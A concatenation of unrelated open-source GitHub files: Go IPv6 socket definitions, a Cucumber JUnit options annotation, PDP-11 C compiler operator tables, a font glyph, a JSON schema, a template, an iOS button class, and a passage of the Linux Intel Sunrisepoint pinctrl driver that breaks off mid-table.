sysIPV6_PREFER_SRC_PUBTMP_DEFAULT = 0x100
sysIPV6_PREFER_SRC_COA = 0x4
sysIPV6_PREFER_SRC_HOME = 0x400
sysIPV6_PREFER_SRC_CGA = 0x8
sysIPV6_PREFER_SRC_NONCGA = 0x800
sysIPV6_MINHOPCOUNT = 0x49
sysIPV6_ORIGDSTADDR = 0x4a
sysIPV6_RECVORIGDSTADDR = 0x4a
sysIPV6_TRANSPARENT = 0x4b
sysIPV6_UNICAST_IF = 0x4c
sysICMPV6_FILTER = 0x1
sysICMPV6_FILTER_BLOCK = 0x1
sysICMPV6_FILTER_PASS = 0x2
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
sizeofIPv6Mtuinfo = 0x20
sizeofIPv6FlowlabelReq = 0x20
sizeofIPv6Mreq = 0x14
sizeofGroupReq = 0x88
sizeofGroupSourceReq = 0x108
sizeofICMPv6Filter = 0x20
)
type kernelSockaddrStorage struct {
Family uint16
X__data [126]int8
}
type sockaddrInet6 struct {
Family uint16
Port uint16
Flowinfo uint32
Addr [16]byte /* in6_addr */
Scope_id uint32
}
type inet6Pktinfo struct {
Addr [16]byte /* in6_addr */
Ifindex int32
}
type ipv6Mtuinfo struct {
Addr sockaddrInet6
Mtu uint32
}
type ipv6FlowlabelReq struct {
Dst [16]byte /* in6_addr */
Label uint32
Action uint8
Share uint8
Flags uint16
Expires uint16
Linger uint16
X__flr_pad uint32
}
type ipv6Mreq struct {
Multiaddr [16]byte /* in6_addr */
Ifindex int32
}
type groupReq struct {
Interface uint32
Pad_cgo_0 [4]byte
Group kernelSockaddrStorage
}
type groupSourceReq struct {
Interface uint32
Pad_cgo_0 [4]byte
Group kernelSockaddrStorage
Source kernelSockaddrStorage
}
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}
|
{
"pile_set_name": "Github"
}
|
print ("Hello World")
print ("Hello World")
|
{
"pile_set_name": "Github"
}
|
package io.cucumber.junit;
import io.cucumber.plugin.Plugin;
import org.apiguardian.api.API;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
/**
* Configure Cucumbers options.
*/
@Retention(RetentionPolicy.RUNTIME)
@Target({ ElementType.TYPE })
@API(status = API.Status.STABLE)
public @interface CucumberOptions {
/**
* @return true if glue code execution should be skipped.
*/
boolean dryRun() default false;
/**
* @return true if undefined and pending steps should be treated as
* errors.
* @deprecated will be removed and cucumber will default to strict
*/
@Deprecated
boolean strict() default true;
/**
* Either a URI or path to a directory of features or a URI or path to a
* single feature optionally followed by a colon and line numbers.
* <p>
* When no feature path is provided, Cucumber will use the package of the
* annotated class. For example, if the annotated class is
* {@code com.example.RunCucumber} then features are assumed to be located
* in {@code classpath:com/example}.
*
* @return list of files or directories
* @see io.cucumber.core.feature.FeatureWithLines
*/
String[] features() default {};
/**
* Package to load glue code (step definitions, hooks and plugins) from.
* E.g: {@code com.example.app}
* <p>
* When no glue is provided, Cucumber will use the package of the annotated
* class. For example, if the annotated class is
* {@code com.example.RunCucumber} then glue is assumed to be located in
* {@code com.example}.
*
* @return list of package names
* @see io.cucumber.core.feature.GluePath
*/
String[] glue() default {};
/**
* Package to load additional glue code (step definitions, hooks and
* plugins) from. E.g: {@code com.example.app}
* <p>
* These packages are used in addition to the default described in
* {@code #glue}.
*
* @return list of package names
*/
String[] extraGlue() default {};
/**
* Only run scenarios tagged with tags matching {@code TAG_EXPRESSION}.
* <p>
* For example {@code "@smoke and not @fast"}.
*
* @return a tag expression
*/
String tags() default "";
/**
* Register plugins. Built-in plugin types: {@code junit}, {@code html},
* {@code pretty}, {@code progress}, {@code json}, {@code usage},
* {@code unused}, {@code rerun}, {@code testng}.
* <p>
* Can also be a fully qualified class name, allowing registration of 3rd
* party plugins.
* <p>
* Plugins can be provided with an argument. For example
* {@code json:target/cucumber-report.json}
*
* @return list of plugins
* @see Plugin
*/
String[] plugin() default {};
/**
* Publish report to https://reports.cucumber.io.
* <p>
*
* @return true if reports should be published on the web.
*/
boolean publish() default false;
/**
* @return true if terminal output should be without colours.
*/
boolean monochrome() default false;
/**
* Only run scenarios whose names match one of the provided regular
* expressions.
*
* @return a list of regular expressions
*/
String[] name() default {};
/**
* @return the format of the generated snippets.
*/
SnippetType snippets() default SnippetType.UNDERSCORE;
/**
* Use filename compatible names.
* <p>
* Make sure that the names of the test cases only is made up of
* [A-Za-Z0-9_] so that the names for certain can be used as file names.
* <p>
* Gradle for instance will use these names in the file names of the JUnit
* xml report files.
*
* @return true to enforce the use of well-formed file names
*/
boolean useFileNameCompatibleName() default false;
/**
* Provide step notifications.
* <p>
* By default steps are not included in notifications and descriptions. This
* aligns test case in the Cucumber-JVM domain (Scenarios) with the test
* case in the JUnit domain (the leafs in the description tree), and works
* better with the report files of the notification listeners like maven
* surefire or gradle.
*
* @return true to include steps should be included in notifications
*/
boolean stepNotifications() default false;
/**
* Specify a custom ObjectFactory.
* <p>
* In case a custom ObjectFactory is needed, the class can be specified
* here. A custom ObjectFactory might be needed when more granular control
* is needed over the dependency injection mechanism.
*
* @return an {@link io.cucumber.core.backend.ObjectFactory} implementation
*/
Class<? extends io.cucumber.core.backend.ObjectFactory> objectFactory() default NoObjectFactory.class;
enum SnippetType {
UNDERSCORE, CAMELCASE
}
}
|
{
"pile_set_name": "Github"
}
|
/ C operator tables
.globl _getwrd
.globl getw
.globl fopen
.globl _tmpfil
.data
_getwrd: 1f
.text
1:
tst buf
bne 1f
mov _tmpfil,r0
jsr r5,fopen; buf
bes botchp
1:
jsr r5,getw; buf
bes botchp
rts pc
botchp:
mov $1,r0
sys write; botch; ebotch-botch
sys exit
botch:
<Temp file botch.\n>; ebotch:
.even
.bss
buf: .=.+518.
.text
.globl _opdope
.globl _instab
_instab:.+2
40.; 1f; 1f; .data; 1:<add\0>; .text
70.; 1b; 1b
41.; 2f; 2f; .data; 2:<sub\0>; .text
71.; 2b; 2b
30.; 3f; 1b; .data; 3:<inc\0>; .text
31.; 4f; 2b; .data; 4:<dec\0>; .text
32.; 3b; 1b
33.; 4b; 2b
45.; 2b; 5f; .data; 5:<ac\0>; .text
46.; 6f; 7f; .data; 6:<mov\0>; 7:<(r4)\0>; .text
75.; 2b; 5b
76.; 6b; 7b
43.; 7b; 1f; .data; 1:<divf\0>; .text
44.; 5b; 0
73.; 7b; 1b
74.; 5b; 0
60.; 0f; 1f; .data; 0:<beq\0>; 1:<bne\0>; .text
61.; 1b; 0b
62.; 2f; 5f; .data; 2:<ble\0>; 5:<bgt\0>; .text
63.; 3f; 4f; .data; 3:<blt\0>; 4:<bge\0>; .text
64.; 4b; 3b
65.; 5b; 2b
66.; 6f; 9f; .data; 6:<blos\0>; 9:<bhi\0>; .text
67.; 7f; 8f; .data; 7:<blo\0>; 8:<bhis\0>; .text
68.; 8b; 7b
69.; 9b; 6b
0
.data
.even
.text
_opdope:.+2
00000 / EOF
00000 / ;
00000 / {
00000 / }
36000 / [
02000 / ]
36000 / (
02000 / )
02000 / :
07001 / ,
00000 / 10
00000 / 11
00000 / 12
00000 / 13
00000 / 14
00000 / 15
00000 / 16
00000 / 17
00000 / 18
00000 / 19
00000 / name
00000 / short constant
00000 / string
00000 / float
00000 / double
00000 / 25
00000 / 26
00000 / 27
00000 / 28
00000 / 29
34002 / ++pre
34002 / --pre
34002 / ++post
34002 / --post
34020 / !un
34002 / &un
34020 / *un
34000 / -un
34020 / ~un
00000 / 39
30101 / +
30001 / -
32101 / *
32001 / /
32001 / %
26061 / >>
26061 / <<
20161 / &
16161 / |
16161 / ^
00000 / 50
00000 / 51
00000 / 52
00000 / 53
00000 / 54
00000 / 55
00000 / 56
00000 / 57
00000 / 58
00000 / 59
22105 / ==
22105 / !=
24105 / <=
24105 / <
24105 / >=
24105 / >
24105 / <p
24105 / <=p
24105 / >p
24105 / >=p
12013 / =+
12013 / =-
12013 / =*
12013 / =/
12013 / =%
12053 / =>>
12053 / =<<
12053 / =&
12053 / =|
12053 / =^
12013 / =
00000 / 81
00000 / 82
00000 / 83
00000 / int -> float
00000 / int -> double
00000 / float -> int
00000 / float -> double
00000 / double -> int
00000 / double -> float
14001 / ?
00000 / 91
00000 / 92
00000 / 93
00000 / int -> float
00000 / int -> double
00000 / float -> double
00000 / int -> int[]
00000 / int -> float[]
00000 / int -> double[]
36001 / call
36001 / mcall
|
{
"pile_set_name": "Github"
}
|
StartChar: brokenbar
Encoding: 166 166 314
GlifName: brokenbar
Width: 1024
VWidth: 0
Flags: W
HStem: 1024 21G<512 640>
VStem: 512 128<-128 384 1024 1536>
LayerCount: 5
Back
Fore
SplineSet
640 384 m 1
640 -128 l 1
512 -128 l 1
512 384 l 1
640 384 l 1
640 1536 m 1
640 1024 l 1
512 1024 l 1
512 1536 l 1
640 1536 l 1
EndSplineSet
Validated: 1
Layer: 2
Layer: 3
Layer: 4
EndChar
|
{
"pile_set_name": "Github"
}
|
{
"$schema" : "http://json-schema.org/draft-03/hyper-schema#",
"id" : "http://json-schema.org/draft-03/json-ref#",
"additionalItems" : {"$ref" : "#"},
"additionalProperties" : {"$ref" : "#"},
"links" : [
{
"href" : "{id}",
"rel" : "self"
},
{
"href" : "{$ref}",
"rel" : "full"
},
{
"href" : "{$schema}",
"rel" : "describedby"
}
],
"fragmentResolution" : "dot-delimited"
}
|
{
"pile_set_name": "Github"
}
|
{{#emitJSDoc}}
/**
* Allowed values for the <code>{{baseName}}</code> property.
* @enum {{=<% %>=}}{<%datatype%>}<%={{ }}=%>
* @readonly
*/
{{/emitJSDoc}}
exports.{{datatypeWithEnum}} = {
{{#allowableValues}}
{{#enumVars}}
{{#emitJSDoc}}
/**
* value: {{{value}}}
* @const
*/
{{/emitJSDoc}}
"{{name}}": {{{value}}}{{^-last}},
{{/-last}}
{{/enumVars}}
{{/allowableValues}}
};
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2012-2014 HockeyApp, Bit Stadium GmbH.
* All rights reserved.
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use,
* copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
#import "HockeySDK.h"
#if HOCKEYSDK_FEATURE_FEEDBACK
#import "BITActivityIndicatorButton.h"
@interface BITActivityIndicatorButton()
@property (nonatomic, strong) UIActivityIndicatorView *indicator;
@property (nonatomic) BOOL indicatorVisible;
@end
@implementation BITActivityIndicatorButton
- (void)setShowsActivityIndicator:(BOOL)showsIndicator {
if (self.indicatorVisible == showsIndicator){
return;
}
if (!self.indicator){
self.indicator = [[UIActivityIndicatorView alloc] initWithFrame:self.bounds];
[self addSubview:self.indicator];
[self.indicator setColor:[UIColor blackColor]];
}
self.indicatorVisible = showsIndicator;
if (showsIndicator){
[self.indicator startAnimating];
self.indicator.alpha = 1;
self.layer.borderWidth = 1;
self.layer.borderColor = [UIColor lightGrayColor].CGColor;
self.layer.cornerRadius = 5;
self.imageView.image = nil;
} else {
[self.indicator stopAnimating];
self.layer.cornerRadius = 0;
self.indicator.alpha = 0;
self.layer.borderWidth = 0;
}
}
- (void)layoutSubviews {
[super layoutSubviews];
[self.indicator setFrame:self.bounds];
}
@end
#endif /* HOCKEYSDK_FEATURE_FEEDBACK */
|
{
"pile_set_name": "Github"
}
|
early
|
{
"pile_set_name": "Github"
}
|
/*
* Intel Sunrisepoint PCH pinctrl/GPIO driver
*
* Copyright (C) 2015, Intel Corporation
* Authors: Mathias Nyman <[email protected]>
* Mika Westerberg <[email protected]>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#include <linux/acpi.h>
#include <linux/module.h>
#include <linux/platform_device.h>
#include <linux/pm.h>
#include <linux/pinctrl/pinctrl.h>
#include "pinctrl-intel.h"
#define SPT_PAD_OWN 0x020
#define SPT_PADCFGLOCK 0x0a0
#define SPT_HOSTSW_OWN 0x0d0
#define SPT_GPI_IE 0x120
#define SPT_COMMUNITY(b, s, e) \
{ \
.barno = (b), \
.padown_offset = SPT_PAD_OWN, \
.padcfglock_offset = SPT_PADCFGLOCK, \
.hostown_offset = SPT_HOSTSW_OWN, \
.ie_offset = SPT_GPI_IE, \
.gpp_size = 24, \
.pin_base = (s), \
.npins = ((e) - (s) + 1), \
}
/* Sunrisepoint-LP */
static const struct pinctrl_pin_desc sptlp_pins[] = {
/* GPP_A */
PINCTRL_PIN(0, "RCINB"),
PINCTRL_PIN(1, "LAD_0"),
PINCTRL_PIN(2, "LAD_1"),
PINCTRL_PIN(3, "LAD_2"),
PINCTRL_PIN(4, "LAD_3"),
PINCTRL_PIN(5, "LFRAMEB"),
PINCTRL_PIN(6, "SERIQ"),
PINCTRL_PIN(7, "PIRQAB"),
PINCTRL_PIN(8, "CLKRUNB"),
PINCTRL_PIN(9, "CLKOUT_LPC_0"),
PINCTRL_PIN(10, "CLKOUT_LPC_1"),
PINCTRL_PIN(11, "PMEB"),
PINCTRL_PIN(12, "BM_BUSYB"),
PINCTRL_PIN(13, "SUSWARNB_SUS_PWRDNACK"),
PINCTRL_PIN(14, "SUS_STATB"),
PINCTRL_PIN(15, "SUSACKB"),
PINCTRL_PIN(16, "SD_1P8_SEL"),
PINCTRL_PIN(17, "SD_PWR_EN_B"),
PINCTRL_PIN(18, "ISH_GP_0"),
PINCTRL_PIN(19, "ISH_GP_1"),
PINCTRL_PIN(20, "ISH_GP_2"),
PINCTRL_PIN(21, "ISH_GP_3"),
PINCTRL_PIN(22, "ISH_GP_4"),
PINCTRL_PIN(23, "ISH_GP_5"),
/* GPP_B */
PINCTRL_PIN(24, "CORE_VID_0"),
PINCTRL_PIN(25, "CORE_VID_1"),
PINCTRL_PIN(26, "VRALERTB"),
PINCTRL_PIN(27, "CPU_GP_2"),
PINCTRL_PIN(28, "CPU_GP_3"),
PINCTRL_PIN(29, "SRCCLKREQB_0"),
PINCTRL_PIN(30, "SRCCLKREQB_1"),
PINCTRL_PIN(31, "SRCCLKREQB_2"),
PINCTRL_PIN(32, "SRCCLKREQB_3"),
PINCTRL_PIN(33, "SRCCLKREQB_4"),
PINCTRL_PIN(34, "SRCCLKREQB_5"),
PINCTRL_PIN(35, "EXT_PWR_GATEB"),
PINCTRL_PIN(36, "SLP_S0B"),
PINCTRL_PIN(37, "PLTRSTB"),
PINCTRL_PIN(38, "SPKR"),
PINCTRL_PIN(39, "GSPI0_CSB"),
PINCTRL_PIN(40, "GSPI0_CLK"),
PINCTRL_PIN(41, "GSPI0_MISO"),
PINCTRL_PIN(42, "GSPI0_MOSI"),
PINCTRL_PIN(43, "GSPI1_CSB"),
PINCTRL_PIN(44, "GSPI1_CLK"),
PINCTRL_PIN(45, "GSPI1_MISO"),
PINCTRL_PIN(46, "GSPI1_MOSI"),
PINCTRL_PIN(47, "SML1ALERTB"),
/* GPP_C */
PINCTRL_PIN(48, "SMBCLK"),
PINCTRL_PIN(49, "SMBDATA"),
PINCTRL_PIN(50, "SMBALERTB"),
PINCTRL_PIN(51, "SML0CLK"),
PINCTRL_PIN(52, "SML0DATA"),
PINCTRL_PIN(53, "SML0ALERTB"),
PINCTRL_PIN(54, "SML1CLK"),
PINCTRL_PIN(55, "SML1DATA"),
PINCTRL_PIN(56, "UART0_RXD"),
PINCTRL_PIN(57, "UART0_TXD"),
PINCTRL_PIN(58, "UART0_RTSB"),
PINCTRL_PIN(59, "UART0_CTSB"),
PINCTRL_PIN(60, "UART1_RXD"),
PINCTRL_PIN(61, "UART1_TXD"),
PINCTRL_PIN(62, "UART1_RTSB"),
PINCTRL_PIN(63, "UART1_CTSB"),
PINCTRL_PIN(64, "I2C0_SDA"),
PINCTRL_PIN(65, "I2C0_SCL"),
PINCTRL_PIN(66, "I2C1_SDA"),
PINCTRL_PIN(67, "I2C1_SCL"),
PINCTRL_PIN(68, "UART2_RXD"),
PINCTRL_PIN(69, "UART2_TXD"),
PINCTRL_PIN(70, "UART2_RTSB"),
PINCTRL_PIN(71, "UART2_CTSB"),
/* GPP_D */
PINCTRL_PIN(72, "SPI1_CSB"),
PINCTRL_PIN(73, "SPI1_CLK"),
PINCTRL_PIN(74, "SPI1_MISO_IO_1"),
PINCTRL_PIN(75, "SPI1_MOSI_IO_0"),
PINCTRL_PIN(76, "FLASHTRIG"),
PINCTRL_PIN(77, "ISH_I2C0_SDA"),
PINCTRL_PIN(78, "ISH_I2C0_SCL"),
PINCTRL_PIN(79, "ISH_I2C1_SDA"),
PINCTRL_PIN(80, "ISH_I2C1_SCL"),
PINCTRL_PIN(81, "ISH_SPI_CSB"),
PINCTRL_PIN(82, "ISH_SPI_CLK"),
PINCTRL_PIN(83, "ISH_SPI_MISO"),
PINCTRL_PIN(84, "ISH_SPI_MOSI"),
PINCTRL_PIN(85, "ISH_UART0_RXD"),
PINCTRL_PIN(86, "ISH_UART0_TXD"),
PINCTRL_PIN(87, "ISH_UART0_RTSB"),
PINCTRL_PIN(88, "ISH_UART0_CTSB"),
PINCTRL_PIN(89, "DMIC_CLK_1"),
PINCTRL_PIN(90, "DMIC_DATA_1"),
PINCTRL_PIN(91, "DMIC_CLK_0"),
PINCTRL_PIN(92, "DMIC_DATA_0"),
PINCTRL_PIN(93, "SPI1_IO_2"),
PINCTRL_PIN(94, "SPI1_IO_3"),
PINCTRL_PIN(95, "SSP_MCLK"),
/* GPP_E */
PINCTRL_PIN(96, "SATAXPCIE_0"),
PINCTRL_PIN(97, "SATAXPCIE_1"),
PINCTRL_PIN(98, "SATAXPCIE_2"),
PINCTRL_PIN(99, "CPU_GP_0"),
PINCTRL_PIN(100, "SATA_DEVSLP_0"),
PINCTRL_PIN(101, "SATA_DEVSLP_1"),
PINCTRL_PIN(102, "SATA_DEVSLP_2"),
PINCTRL_PIN(103, "CPU_GP_1"),
PINCTRL_PIN(104, "SATA_LEDB"),
PINCTRL_PIN(105, "USB2_OCB_0"),
PINCTRL_PIN(106, "USB2_OCB_1"),
PINCTRL_PIN(107, "USB2_OCB_2"),
PINCTRL_PIN(108, "USB2_OCB_3"),
PINCTRL_PIN(109, "DDSP_HPD_0"),
PINCTRL_PIN(110, "DDSP_HPD_1"),
PINCTRL_PIN(111, "DDSP_HPD_2"),
PINCTRL_PIN(112, "DDSP_HPD_3"),
PINCTRL_PIN(113, "EDP_HPD"),
PINCTRL_PIN(114, "DDPB_CTRLCLK"),
PINCTRL_PIN(115, "DDPB_CTRLDATA"),
PINCTRL_PIN(116, "DDPC_CTRLCLK"),
PINCTRL_PIN(117, "DDPC_CTRLDATA"),
PINCTRL_PIN(118, "DDPD_CTRLCLK"),
PINCTRL_PIN(119, "DDPD_CTRLDATA"),
/* GPP_F */
PINCTRL_PIN(120, "SSP2_SCLK"),
PINCTRL_PIN(121, "SSP2_SFRM"),
PINCTRL_PIN(122, "SSP2_TXD"),
PINCTRL_PIN(123, "SSP2_RXD"),
PINCTRL_PIN(124, "I2C2_SDA"),
PINCTRL_PIN(125, "I2C2_SCL"),
PINCTRL_PIN(126, "I2C3_SDA"),
PINCTRL_PIN(127, "I2C3_SCL"),
PINCTRL_PIN(128, "I2C4_SDA"),
PINCTRL_PIN(129, "I2C4_SCL"),
PINCTRL_PIN(130, "I2C5_SDA"),
PINCTRL_PIN(131, "I2C5_SCL"),
PINCTRL_PIN(132, "EMMC_CMD"),
PINCTRL_PIN(133, "EMMC_DATA_0"),
PINCTRL_PIN(134, "EMMC_DATA_1"),
PINCTRL_PIN(135, "EMMC_DATA_2"),
PINCTRL_PIN(136, "EMMC_DATA_3"),
PINCTRL_PIN(137, "EMMC_DATA_4"),
PINCTRL_PIN(138, "EMMC_DATA_5"),
PINCTRL_PIN(139, "EMMC_DATA_6"),
PINCTRL_PIN(140, "EMMC_DATA_7"),
PINCTRL_PIN(141, "EMMC_RCLK"),
PINCTRL_PIN(142, "EMMC_CLK"),
PINCTRL_PIN(143, "GPP_F_23"),
/* GPP_G */
PINCTRL_PIN(144, "SD_CMD"),
PINCTRL_PIN(145, "SD_DATA_0"),
PINCTRL_PIN(146, "SD_DATA_1"),
PINCTRL_PIN(147, "SD_DATA_2"),
PINCTRL_PIN(148, "SD_DATA_3"),
PINCTRL_PIN(149, "SD_CDB"),
PINCTRL_PIN(150, "SD_CLK"),
PINCTRL_PIN(151, "SD_WP"),
};
static const unsigned sptlp_spi0_pins[] = { 39, 40, 41, 42 };
static const unsigned sptlp_spi1_pins[] = { 43, 44, 45, 46 };
static const unsigned sptlp_uart0_pins[] = { 56, 57, 58, 59 };
static const unsigned sptlp_uart1_pins[] = { 60, 61, 62, 63 };
static const unsigned sptlp_uart2_pins[] = { 68, 69, 71, 71 };
static const unsigned sptlp_i2c0_pins[] = { 64, 65 };
static const unsigned sptlp_i2c1_pins[] = { 66, 67 };
static const unsigned sptlp_i2c2_pins[] = { 124, 125 };
static const unsigned sptlp_i2c3_pins[] = { 126, 127 };
static const unsigned sptlp_i2c4_pins[] = { 128, 129 };
static const unsigned sptlp_i2c4b_pins[] = { 85, 86 };
static const unsigned sptlp_i2c5_pins[] = { 130, 131 };
static const unsigned sptlp_ssp2_pins[] = { 120, 121, 122, 123 };
static const unsigned sptlp_emmc_pins[] = {
132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142,
};
static const unsigned sptlp_sd_pins[] = {
144, 145, 146, 147, 148, 149, 150, 151,
};
static const struct intel_pingroup sptlp_groups[] = {
PIN_GROUP("spi0_grp", sptlp_spi0_pins, 1),
PIN_GROUP("spi1_grp", sptlp_spi1_pins, 1),
PIN_GROUP("uart0_grp", sptlp_uart0_pins, 1),
PIN_GROUP("uart1_grp", sptlp_uart1_pins, 1),
PIN_GROUP("uart2_grp", sptlp_uart2_pins, 1),
PIN_GROUP("i2c0_grp", sptlp_i2c0_pins, 1),
PIN_GROUP("i2c1_grp", sptlp_i2c1_pins, 1),
PIN_GROUP("i2c2_grp", sptlp_i2c2_pins, 1),
PIN_GROUP("i2c3_grp", sptlp_i2c3_pins, 1),
PIN_GROUP("i2c4_grp", sptlp_i2c4_pins, 1),
PIN_GROUP("i2c4b_grp", sptlp_i2c4b_pins, 3),
PIN_GROUP("i2c5_grp", sptlp_i2c5_pins, 1),
PIN_GROUP("ssp2_grp", sptlp_ssp2_pins, 1),
PIN_GROUP("emmc_grp", sptlp_emmc_pins, 1),
PIN_GROUP("sd_grp", sptlp_sd_pins, 1),
};
static const char * const sptlp_spi0_groups[] = { "spi0_grp" };
static const char * const sptlp_spi1_groups[] = { "spi0_grp" };
static const char * const sptlp_uart0_groups[] = { "uart0_grp" };
static const char * const sptlp_uart1_groups[] = { "uart1_grp" };
static const char * const sptlp_uart2_groups[] = { "uart2_grp" };
static const char * const sptlp_i2c0_groups[] = { "i2c0_grp" };
static const char * const sptlp_i2c1_groups[] = { "i2c1_grp" };
static const char * const sptlp_i2c2_groups[] = { "i2c2_grp" };
static const char * const sptlp_i2c3_groups[] = { "i2c3_grp" };
static const char * const sptlp_i2c4_groups[] = { "i2c4_grp", "i2c4b_grp" };
static const char * const sptlp_i2c5_groups[] = { "i2c5_grp" };
static const char * const sptlp_ssp2_groups[] = { "ssp2_grp" };
static const char * const sptlp_emmc_groups[] = { "emmc_grp" };
static const char * const sptlp_sd_groups[] = { "sd_grp" };
static const struct intel_function sptlp_functions[] = {
FUNCTION("spi0", sptlp_spi0_groups),
FUNCTION("spi1", sptlp_spi1_groups),
FUNCTION("uart0", sptlp_uart0_groups),
FUNCTION("uart1", sptlp_uart1_groups),
FUNCTION("uart2", sptlp_uart2_groups),
FUNCTION("i2c0", sptlp_i2c0_groups),
FUNCTION("i2c1", sptlp_i2c1_groups),
FUNCTION("i2c2", sptlp_i2c2_groups),
FUNCTION("i2c3", sptlp_i2c3_groups),
FUNCTION("i2c4", sptlp_i2c4_groups),
FUNCTION("i2c5", sptlp_i2c5_groups),
FUNCTION("ssp2", sptlp_ssp2_groups),
FUNCTION("emmc", sptlp_emmc_groups),
FUNCTION("sd", sptlp_sd_groups),
};
static const struct intel_community sptlp_communities[] = {
SPT_COMMUNITY(0, 0, 47),
SPT_COMMUNITY(1, 48, 119),
SPT_COMMUNITY(2, 120, 151),
};
static const struct intel_pinctrl_soc_data sptlp_soc_data = {
.pins = sptlp_pins,
.npins = ARRAY_SIZE(sptlp_pins),
.groups = sptlp_groups,
.ngroups = ARRAY_SIZE(sptlp_groups),
.functions = sptlp_functions,
.nfunctions = ARRAY_SIZE(sptlp_functions),
.communities = sptlp_communities,
.ncommunities = ARRAY_SIZE(sptlp_communities),
};
/* Sunrisepoint-H */
static const struct pinctrl_pin_desc spth_pins[] = {
/* GPP_A */
PINCTRL_PIN(0, "RCINB"),
PINCTRL_PIN(1, "LAD_0"),
PINCTRL_PIN(2, "LAD_1"),
PINCTRL_PIN(3, "LAD_2"),
PINCTRL_PIN(4, "LAD_3"),
PINCTRL_PIN(5, "LFRAMEB"),
PINCTRL_PIN(6, "SERIQ"),
PINCTRL_PIN(7, "PIRQAB"),
PINCTRL_PIN(8, "CLKRUNB"),
PINCTRL_PIN(9, "CLKOUT_LPC_0"),
PINCTRL_PIN(10, "CLKOUT_LPC_1"),
PINCTRL_PIN(11, "PMEB"),
PINCTRL_PIN(12, "BM_BUSYB"),
PINCTRL_PIN(13, "SUSWARNB_SUS_PWRDNACK"),
PINCTRL_PIN(14, "SUS_STATB"),
PINCTRL_PIN(15, "SUSACKB"),
PINCTRL_PIN(16, "CLKOUT_48"),
PINCTRL_PIN(17, "ISH_GP_7"),
PINCTRL_PIN(18, "ISH_GP_0"),
PINCTRL_PIN(19, "ISH_GP_1"),
PINCTRL_PIN(20, "ISH_GP_2"),
PINCTRL_PIN(21, "ISH_GP_3"),
PINCTRL_PIN(22, "ISH_GP_4"),
PINCTRL_PIN(23, "ISH_GP_5"),
/* GPP_B */
PINCTRL_PIN(24, "CORE_VID_0"),
PINCTRL_PIN(25, "CORE_VID_1"),
PINCTRL_PIN(26, "VRALERTB"),
PINCTRL_PIN(27, "CPU_GP_2"),
PINCTRL_PIN(28, "CPU_GP_3"),
PINCTRL_PIN(29, "SRCCLKREQB_0"),
PINCTRL_PIN(30, "SRCCLKREQB_1"),
PINCTRL_PIN(31, "SRCCLKREQB_2"),
PINCTRL_PIN(32, "SRCCLKREQB_3"),
PINCTRL_PIN(33, "SRCCLKREQB_4"),
PINCTRL_PIN(34, "SRCCLKREQB_5"),
PINCTRL_PIN(35, "EXT_PWR_GATEB"),
PINCTRL_PIN(36, "SLP_S0B"),
PINCTRL_PIN(37, "PLTRSTB"),
PINCTRL_PIN(38, "SPKR"),
PINCTRL_PIN(39, "GSPI0_CSB"),
PINCTRL_PIN(40, "GSPI0_CLK"),
PINCTRL_PIN(41, "GSPI0_MISO"),
PINCTRL_PIN(42, "GSPI0_MOSI"),
PINCTRL_PIN(43, "GSPI1_CSB"),
PINCTRL_PIN(44, "GSPI1_CLK"),
PINCTRL_PIN(45, "GSPI1_MISO"),
PINCTRL_PIN(46, "GSPI1_MOSI"),
PINCTRL_PIN(47, "SML1ALERTB"),
/* GPP_C */
PINCTRL_PIN(48, "SMBCLK"),
PINCTRL_PIN(49, "SMBDATA"),
PINCTRL_PIN(50, "SMBALERTB"),
PINCTRL_PIN(51, "SML0CLK"),
PINCTRL_PIN(52, "SML0DATA"),
PINCTRL_PIN(53, "SML0ALERTB"),
PINCTRL_PIN(54, "SML1CLK"),
PINCTRL_PIN(55, "SML1DATA"),
PINCTRL_PIN(56, "UART0_RXD"),
PINCTRL_PIN(57, "UART0_TXD"),
PINCTRL_PIN(58, "UART0_RTSB"),
PINCTRL_PIN(59, "UART0_CTSB"),
PINCTRL_PIN(60, "UART1_RXD"),
PINCTRL_PIN(61, "UART1_TXD"),
PINCTRL_PIN(62, "UART1_RTSB"),
PINCTRL_PIN(63, "UART1_CTSB"),
PINCTRL_PIN(64, "I2C0_SDA"),
PINCTRL_PIN(65, "I2C0_SCL"),
PINCTRL_PIN(66, "I2C1_SDA"),
PINCTRL_PIN(67, "I2C1_SCL"),
PINCTRL_PIN(68, "UART2_RXD"),
PINCTRL_PIN(69, "UART2_TXD"),
PINCTRL_PIN(70, "UART2_RTSB"),
PINCTRL_PIN(71, "UART2_CTSB"),
/* GPP_D */
PINCTRL_PIN(72, "SPI1_CSB"),
PINCTRL_PIN(73, "SPI1_CLK"),
PINCTRL_PIN(74, "SPI1_MISO_IO_1"),
PINCTRL_PIN(75, "SPI1_MOSI_IO_0"),
